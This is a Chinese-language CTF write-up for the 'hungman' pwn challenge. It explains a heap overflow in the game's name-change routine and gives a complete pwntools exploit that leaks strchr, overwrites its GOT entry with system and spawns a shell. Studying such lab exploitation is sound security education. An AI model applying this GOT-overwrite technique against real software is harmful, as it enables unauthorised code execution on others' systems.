300分的pwn
程序是一个简单的游戏,在你输入名字后,将名字存入malloc出的chunk中,然后会生成一个结构体,大概长这样:
1 2 3 4 5 6 7
| 00000000 struc_obj struc ; (sizeof=0x80) 00000000 score dd ? 00000004 name_len dd ? 00000008 namep dq ? 00000010 content db 112 dup(?) 00000080 struc_obj ends 00000080
|
然后开始游戏主循环,在主循环中生成一个和名字大小相同的buf,然后将其与随机数一阵操作生成新的随机buf:
1 2 3 4 5
| for ( i = 0LL; name_len - 1 > i; ++i ) { *((_BYTE *)buf + i) ^= *(_BYTE *)(objp->namep + i); *((_BYTE *)buf + i) = *((_BYTE *)buf + i) % 26u + 97; }
|
所以操作结束后buf中将只有小写字母的ascii码,然后打印一排”“代表buf,接着就是接收输入字符,如果buf中有这个字符,就在下次对应位置打印这个字符而不是”“,有三次机会可以猜错,机会用完后或者全部猜出来后会获得一次修改名字的机会,这里就是漏洞所在,如果输入的名字比原来的长就可能发生溢出,因为操作长这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| if ( objp->score > score_history ) { puts("High score! change name?"); __isoc99_scanf(0x40114FLL, &v3); // %c if ( v3 == 121 ) { namep = malloc(0xF8uLL); memset(namep, 0, 0xF8uLL); new_name_len = read(0, namep, 0xF8uLL); objp->name_len = new_name_len; v14 = strchr((const char *)namep, 10); if ( v14 ) *v14 = 0; memcpy((void *)objp->namep, namep, new_name_len);// ---- overflow free(namep); } snprintf(byte_602100, 0x200uLL, "Highest player: %s", objp->namep); score_history = objp->score; }
|
所以如果我们一开始较长的name,那么buf中所有字母基本就都会出现,依次把所有字母输一圈就可以赢得游戏获得改名字的机会,就可以更改较长的名字首先泄漏strchr地址,然后再赢得一次游戏将strchr@got替换位system,然后再赢得一次将name换为/bin/sh触发system就可以了。
但是这里有几个坑,在这里记录一下:
一是一开始选择泄漏函数的时候选了free,但是发现free地址低位是\x00正好截断,所以就换了strchr(不过偏移一位再泄漏free也可以)。
二是选择了strchr后,但是对应的strchr@got上填的地址是strchr_see2,应该是某种优化,所以这里又耽搁了一下。
三是在最后发送system地址过去的时候不能使用sendline,只能使用send,因为sendline导致9个字符被memcpy过去,导致strchr@got下面的printf@got被破坏,崩溃了没得玩了。
四是不知为何在第一次发送name的时候前面必须加个time.sleep(0.1),或者在play()中加个print recv,否则就可能成功可能失败,这里到现在我也不知道是因为什么,调试的话一点问题也没有,所以到现在还是憋着找不出原因。
参考exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import * letters='abcdefghijklmnopqrstuvwxyzz' name='A'*32 p=process('./hungman') free_got=0x602018 strchr_got=0x602038 def getpid(name): pid= pwnlib.util.proc.pidof(name) log.info(pid) raw_input('continue') def play(): print '-- play --' for c in letters: recv=p.recvline() print recv if recv.startswith('High score! change name?'): print recv print '[*] win!' p.sendline('y') return if recv.startswith('Default Highscore score: 64'): print '[-] try again...' p.recvuntil('Continue? ') p.sendline('y') return play() p.sendline(c) p.recvline() p.sendline('A'*30) p.recvline() play() p.sendline(name+p64(0x0)+p64(0x91)+p32(0x52)+p32(0xc9)+p64(strchr_got)) p.recvuntil('Highest player: ') strchr_addr=p.recvuntil(' score:')[:-7] strchr_addr=u64(strchr_addr.ljust(8, '\0')) print 'strchr addr: '+hex(strchr_addr) system_addr=strchr_addr-0x30-0x000000000007ff70+0x0000000000041490 print 'system addr: '+hex(system_addr) p.recvuntil('Continue? ') p.sendline('y') play() p.send(p64(system_addr)) p.recvuntil('Continue? ') p.sendline('y') play() p.sendline('/bin/sh') p.interactive()
|